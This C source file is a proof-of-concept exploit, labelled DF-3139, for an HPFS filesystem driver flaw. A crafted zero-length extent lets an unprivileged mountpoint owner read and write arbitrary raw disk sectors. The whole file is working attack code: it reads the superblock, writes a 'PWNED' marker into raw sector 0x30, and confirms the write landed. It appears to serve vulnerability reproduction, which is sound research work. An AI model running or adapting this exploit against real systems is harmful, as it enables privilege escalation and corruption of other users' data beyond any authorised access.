/*
 * DF-3139 PoC — unprivileged arbitrary-raw-sector read/write through an
 * al_len==0 ("infinite extent") HPFS alleaf.
 *
 * File layout crafted in the image:
 *   leaf[0] = { al_off = 0x1000, al_len = 0, al_lsn = 0x10 }
 *   fn_size = 0x400000
 *
 * hpfs_hpbmap: bn >= 0x1000 && al_len==0  =>  *bnp = 0x10 + (bn - 0x1000)
 *
 *   file offset 0x200000 (lbn 0x1000) -> raw sector 0x10  (SUPERBLOCK: read)
 *   file offset 0x204000 (lbn 0x1020) -> raw sector 0x30  (bitmap-dir sector:
 *                                        read, then WRITE a marker)
 *
 * Success criteria:
 *   - pread @0x200000 returns the superblock magic 0xFA53E9C5F995E849
 *   - pread @0x204000 returns 0x00000038 (word stored at sector 0x30)
 *   - pwrite @0x204000 succeeds; afterwards raw /dev/vn0 sector 0x30
 *     contains the marker (verified by run.sh as root via dd).
 *
 * Run as the unprivileged mountpoint owner: ./poc /tmp/hpfsmp/FILE
 */
#include <sys/fcntl.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define OFF_SUPER	0x200000UL	/* lbn 0x1000 -> sector 0x10 */
#define OFF_TARGET	0x204000UL	/* lbn 0x1020 -> sector 0x30 */

int
main(int argc, char **argv)
{
	unsigned char buf[512];
	const char *path;
	ssize_t n;
	int fd;
	unsigned long long m64;
	unsigned int m32;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <file-on-crafted-hpfs>\n", argv[0]);
		return 2;
	}
	path = argv[1];

	fd = open(path, O_RDWR);
	if (fd < 0)
		err(1, "open %s", path);

	/* --- arbitrary-sector READ: superblock (sector 0x10) --- */
	n = pread(fd, buf, sizeof(buf), OFF_SUPER);
	if (n != sizeof(buf))
		err(1, "pread superblock");
	memcpy(&m64, buf, 8);
	printf("DF3139 read  sector 0x10 via file offset 0x%lx: "
	       "first8 = 0x%016llx (want su_magic 0xfa53e9c5f995e849)\n",
	       OFF_SUPER, m64);

	/* --- arbitrary-sector READ: bitmap-dir sector 0x30 --- */
	n = pread(fd, buf, sizeof(buf), OFF_TARGET);
	if (n != sizeof(buf))
		err(1, "pread target");
	memcpy(&m32, buf, 4);
	printf("DF3139 read  sector 0x30 via file offset 0x%lx: "
	       "first4 = 0x%08x (want 0x00000038)\n", OFF_TARGET, m32);

	/* --- arbitrary-sector WRITE: marker into sector 0x30 --- */
	memset(buf, 0, sizeof(buf));
	memcpy(buf, "DF3139-PWNED-RAW-SECTOR-WRITE", 29);
	n = pwrite(fd, buf, sizeof(buf), OFF_TARGET);
	printf("DF3139 write sector 0x30 via file offset 0x%lx: rc=%zd\n",
	       OFF_TARGET, n);
	if (n != sizeof(buf))
		err(1, "pwrite target");

	/* read it back THROUGH THE FILE to prove the write landed */
	n = pread(fd, buf, sizeof(buf), OFF_TARGET);
	if (n == sizeof(buf) && memcmp(buf, "DF3139-PWNED", 12) == 0)
		printf("DF3139 verified: file pread now returns our marker "
		       "from raw sector 0x30\n");

	close(fd);
	return 0;
}